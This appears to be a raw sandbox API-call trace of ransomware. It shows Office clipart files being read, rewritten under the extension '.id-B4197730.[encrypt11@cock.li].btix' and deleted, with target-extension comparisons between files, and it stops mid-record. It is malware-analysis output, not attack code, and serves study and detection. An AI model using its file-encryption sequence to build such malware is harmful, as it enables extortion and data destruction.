GetFileSizeEx (in: hFile=0x394, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=15733) returned 1 [0056.503] CloseHandle (hObject=0x394) returned 1 [0056.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 0x220 [0056.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0056.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0056.503] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0056.503] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0056.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0056.503] GetLastError () returned 0x0 [0056.503] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x3d75, lpOverlapped=0x0) returned 1 [0056.542] WriteFile (in: hFile=0x37c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x3d80, lpOverlapped=0x0) returned 1 [0056.543] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0056.543] WriteFile (in: hFile=0x37c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0056.543] SetEndOfFile (hFile=0x37c) returned 1 [0056.543] CloseHandle (hObject=0x37c) returned 1 [0056.544] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0056.544] SetEndOfFile (hFile=0x394) returned 1 [0056.544] CloseHandle (hObject=0x394) returned 1 [0056.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0056.545] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0056.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0056.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0056.545] lstrlenW (lpString=".doc") returned 4 [0056.545] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.545] lstrlenW (lpString=".docx") returned 5 [0056.545] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.545] lstrlenW (lpString=".pdf") returned 4 [0056.545] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.545] lstrlenW (lpString=".xls") returned 4 [0056.545] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.545] lstrlenW (lpString=".xlsx") returned 5 [0056.545] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.545] lstrlenW (lpString=".ppt") returned 4 [0056.545] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0056.545] lstrlenW (lpString=".zip") returned 4 [0056.545] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.545] lstrlenW (lpString=".rar") returned 4 [0056.545] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.546] lstrlenW (lpString=".bz2") returned 4 [0056.546] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.546] lstrlenW (lpString=".7z") returned 3 [0056.546] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0056.546] lstrlenW (lpString=".dbf") returned 4 [0056.546] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0056.546] lstrlenW (lpString=".1cd") returned 4 [0056.546] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0056.546] lstrlenW (lpString=".jpg") returned 4 [0056.546] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0056.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0056.546] lstrlenW (lpString=".doc") returned 4 [0056.546] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.546] lstrlenW (lpString=".docx") returned 5 [0056.546] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.546] lstrlenW (lpString=".pdf") returned 4 [0056.546] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.546] lstrlenW (lpString=".xls") returned 4 [0056.546] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.546] lstrlenW (lpString=".xlsx") returned 5 [0056.546] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.546] lstrlenW (lpString=".ppt") returned 4 [0056.546] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0056.546] lstrlenW (lpString=".zip") returned 4 [0056.546] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.546] lstrlenW (lpString=".rar") returned 4 [0056.546] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.547] lstrlenW (lpString=".bz2") returned 4 [0056.547] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.547] lstrlenW (lpString=".7z") returned 3 [0056.547] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0056.547] lstrlenW (lpString=".dbf") returned 4 [0056.547] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0056.547] lstrlenW (lpString=".1cd") returned 4 [0056.547] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0056.547] lstrlenW (lpString=".jpg") returned 4 [0056.547] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.547] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0056.547] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0056.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0056.548] GetLastError () returned 0x0 [0056.548] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x32b6, lpOverlapped=0x0) returned 1 [0056.659] WriteFile (in: hFile=0x37c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x32c0, lpOverlapped=0x0) returned 1 [0056.660] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0056.660] WriteFile (in: hFile=0x37c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0056.660] SetEndOfFile (hFile=0x37c) returned 1 [0056.661] CloseHandle (hObject=0x37c) returned 1 [0056.661] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0056.661] SetEndOfFile (hFile=0x394) returned 1 [0056.662] CloseHandle (hObject=0x394) returned 1 [0056.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0056.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0056.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0056.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0056.663] lstrlenW (lpString=".doc") returned 4 [0056.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.663] lstrlenW (lpString=".docx") returned 5 [0056.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.663] lstrlenW (lpString=".pdf") returned 4 [0056.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.663] lstrlenW (lpString=".xls") returned 4 [0056.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.663] lstrlenW (lpString=".xlsx") returned 5 [0056.663] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.663] lstrlenW (lpString=".ppt") returned 4 [0056.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0056.663] lstrlenW (lpString=".zip") returned 4 [0056.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.663] lstrlenW (lpString=".rar") returned 4 [0056.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.663] lstrlenW (lpString=".bz2") returned 4 [0056.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.663] lstrlenW (lpString=".7z") returned 3 [0056.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0056.664] lstrlenW (lpString=".dbf") returned 4 [0056.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0056.664] lstrlenW (lpString=".1cd") returned 4 [0056.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0056.664] lstrlenW (lpString=".jpg") returned 4 [0056.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.678] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0056.678] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0056.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0056.679] GetLastError () returned 0x0 [0056.679] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x2244, lpOverlapped=0x0) returned 1 [0056.847] WriteFile (in: hFile=0x37c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x2250, lpOverlapped=0x0) returned 1 [0056.848] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0056.848] WriteFile (in: hFile=0x37c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0056.848] SetEndOfFile (hFile=0x37c) returned 1 [0056.848] CloseHandle (hObject=0x37c) returned 1 [0056.848] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0056.849] SetEndOfFile (hFile=0x394) returned 1 [0056.849] CloseHandle (hObject=0x394) returned 1 [0056.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0056.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0056.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0056.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0056.850] lstrlenW (lpString=".doc") returned 4 [0056.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.850] lstrlenW (lpString=".docx") returned 5 [0056.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.850] lstrlenW (lpString=".pdf") returned 4 [0056.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.850] lstrlenW (lpString=".xls") returned 4 [0056.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.850] lstrlenW (lpString=".xlsx") returned 5 [0056.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.850] lstrlenW (lpString=".ppt") returned 4 [0056.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0056.850] lstrlenW (lpString=".zip") returned 4 [0056.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.850] lstrlenW (lpString=".rar") returned 4 [0056.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.850] lstrlenW (lpString=".bz2") returned 4 [0056.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.850] lstrlenW (lpString=".7z") returned 3 [0056.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0056.850] lstrlenW (lpString=".dbf") returned 4 [0056.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0056.851] lstrlenW (lpString=".1cd") returned 4 [0056.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0056.851] lstrlenW (lpString=".jpg") returned 4 [0056.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0056.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0056.851] lstrlenW (lpString=".doc") returned 4 [0056.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.851] lstrlenW (lpString=".docx") returned 5 [0056.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.851] lstrlenW (lpString=".pdf") returned 4 [0056.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.851] lstrlenW (lpString=".xls") returned 4 [0056.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.851] lstrlenW (lpString=".xlsx") returned 5 [0056.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.851] lstrlenW (lpString=".ppt") returned 4 [0056.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0056.851] lstrlenW (lpString=".zip") returned 4 [0056.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.851] lstrlenW (lpString=".rar") returned 4 [0056.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.851] lstrlenW (lpString=".bz2") returned 4 [0056.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.851] lstrlenW (lpString=".7z") returned 3 [0056.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0056.851] lstrlenW (lpString=".dbf") returned 4 [0056.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0056.851] lstrlenW (lpString=".1cd") returned 4 [0056.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0056.852] lstrlenW (lpString=".jpg") returned 4 [0056.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.852] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0056.852] lstrlenW (lpString="BL00098_.WMF") returned 12 [0056.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0056.852] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=1012) returned 1 [0056.852] CloseHandle (hObject=0x394) returned 1 [0056.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x220 [0056.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0056.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0056.852] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0056.852] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0056.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0056.853] GetLastError () returned 0x0 [0056.853] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x3f4, lpOverlapped=0x0) returned 1 [0057.131] WriteFile (in: hFile=0x37c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x400, lpOverlapped=0x0) returned 1 [0057.132] ReadFile (in: hFile=0x394, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0057.132] WriteFile (in: hFile=0x37c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0057.132] SetEndOfFile (hFile=0x37c) returned 1 [0057.133] CloseHandle (hObject=0x37c) returned 1 [0057.133] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0057.133] SetEndOfFile (hFile=0x394) returned 1 [0057.134] CloseHandle (hObject=0x394) returned 1 [0057.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0057.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0057.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0057.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0057.135] lstrlenW (lpString=".doc") returned 4 [0057.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.135] lstrlenW (lpString=".docx") returned 5 [0057.135] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.135] lstrlenW (lpString=".pdf") returned 4 [0057.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.135] lstrlenW (lpString=".xls") returned 4 [0057.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.135] lstrlenW (lpString=".xlsx") returned 5 [0057.135] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.135] lstrlenW (lpString=".ppt") returned 4 [0057.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0057.136] lstrlenW (lpString=".zip") returned 4 [0057.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.136] lstrlenW (lpString=".rar") returned 4 [0057.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.136] lstrlenW (lpString=".bz2") returned 4 [0057.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.136] lstrlenW (lpString=".7z") returned 3 [0057.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0057.136] lstrlenW (lpString=".dbf") returned 4 [0057.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0057.136] lstrlenW (lpString=".1cd") returned 4 [0057.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0057.136] lstrlenW (lpString=".jpg") returned 4 [0057.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.136] SetFilePointerEx (in: 